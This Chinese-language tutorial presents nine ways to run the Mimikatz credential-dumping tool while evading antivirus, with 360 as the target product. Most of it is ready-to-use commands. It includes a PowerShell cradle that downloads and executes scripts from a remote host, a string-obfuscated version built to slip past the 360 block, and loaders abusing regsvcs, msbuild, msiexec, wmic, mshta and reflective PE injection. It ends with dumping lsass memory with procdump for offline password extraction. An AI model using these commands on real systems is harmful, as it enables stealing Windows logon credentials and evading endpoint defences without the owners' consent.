九種方式運行Mimikatz

前言

平時收集的一些姿勢,用戶繞過殺軟執行mimikatz，這裏以360爲例進行bypass 測試。

下載最新版360：

未經處理的mimikatz直接就被殺了

下面開始進行繞過360抓密碼

姿勢一-powershell

https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1

cmd下執行

C:\Users\test\Desktop>powershell -exec bypass "import-module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz"

也可以遠程加載

powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.101/Invoke-Mimikatz.ps1');Invoke-Mimikatz

但是powershell被360攔截

簡單混淆就bypass了

powershell -c " ('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.0'+'.101/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke-Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"

姿勢二-用.net2.0加載mimikatz

作者Casey Smith, Twitter: @subTee

下載

https://gist.githubusercontent.com/nicholasmckinney/896b508b6cf1e8c3e567ccab29c8d3ec/raw/afa7219adbfcdfc160c163273ef8ec61ff0658b4/katz.cs

將katz.cs放置C:\Windows\Microsoft.NET\Framework\v2.0.50727

先powoershell執行

$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Contentkey.snk -Value $Content -EncodingByte

再cmd執行

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /r:System.EnterpriseServices.dll /out:katz.exe /keyfile:key.snk /unsafe katz.cs

C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe katz.exe

姿勢三-JS加載mimikatz

用DotNetToJScript實現

https://github.com/tyranid/DotNetToJScript

mimikatz

https://gist.github.com/500646/14051b27b45dce37818aca915e93062f/raw/2adcc9d2570b4367c6cc405e5a5969863d04fc9b/katz.js

執行cscript mimikatz.js

但是這個方法已經會被一些殺軟標記成惡意軟件，繞過方法參考

姿勢四-msiexec加載mimikatz

作者 homjxi0e

下載

https://github.com/homjxi0e/PowerScript/blob/master/Mimikatz.2.1.1/X64/Mimikatz%20x64.msi

遠程執行

PS:> msiexec.exe /passive /i https://github.com/homjxi0e/PowerScript/raw/master/Mimikatz.2.1.1/X64/Mimikatz%20x64.msi /norestartcmd:> msiexec.exe /passive /i https://github.com/homjxi0e/PowerScript/raw/master/Mimikatz.2.1.1/X64/Mimikatz%20x64.msi /norestart

本地執行

msiexec /passive /i C:\Users\Administrator\Downloads\Mimikatz.msi

姿勢五-.net4.0加載mimikatz

作者 subTee

下載mimikatz.xml

https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20mimikatz.xml

執行

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild<.exemimikatz.xml

姿勢六-JScript的xsl版

作者 subTee

下載

https:/gist.github.com/manasmbellani/7f3e39170f5bc8e3a493c62b80e69427/raw/87550d0fc03023bab99ad83ced657b9ef272a3b2/mimikatz.xsl

本地加載

wmic os get /format:"mimikatz.xsl"

遠程加載

wmic os get /format:"http://127.0.0.1/mimikatz.xsl"

姿勢七-jscript的sct版

作者 subTee

下載

https:/gist.github.com/caseysmithrc/3fe7a8330a74b303562eb494d47e79c5/raw/9336891fc81ac71bfff3c8fd4a8816dead30964e/mimikatz.sct

執行

mshta.exe javascript:a=GetObject("script:https://gist.github.com/caseysmithrc/3fe7a8330a74b303562eb494d47e79c5/raw/9336891fc81ac71bfff3c8fd4a8816dead30964e/mimikatz.sct").Exec(); log coffee exit

姿勢八-內存中加載mimikatz

下載

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1

執行

powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.101/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://192.168.0.101/mimikatz.exe -ExeArgs "sekurlsa::logonpasswords" -ForceASLR

姿勢九-導出lsass進程離線讀密碼

下載procdump64.exe

執行

procdump64.exe-accepteula-malsass.exe 1.dmp

也可以在任務管理器中操作

然後將1.dmp下載到本地

mimikatz_2.1_64.exe "sekurlsa::minidump 1.dmp" "sekurlsa::logonPasswords full" exit

總結

1.對比這幾種方式個人還是喜歡導出lsass進程內存方式來讀取密碼。

2.也可以用powershell遠程加載mimikatz腳本讀密碼，簡單方便。
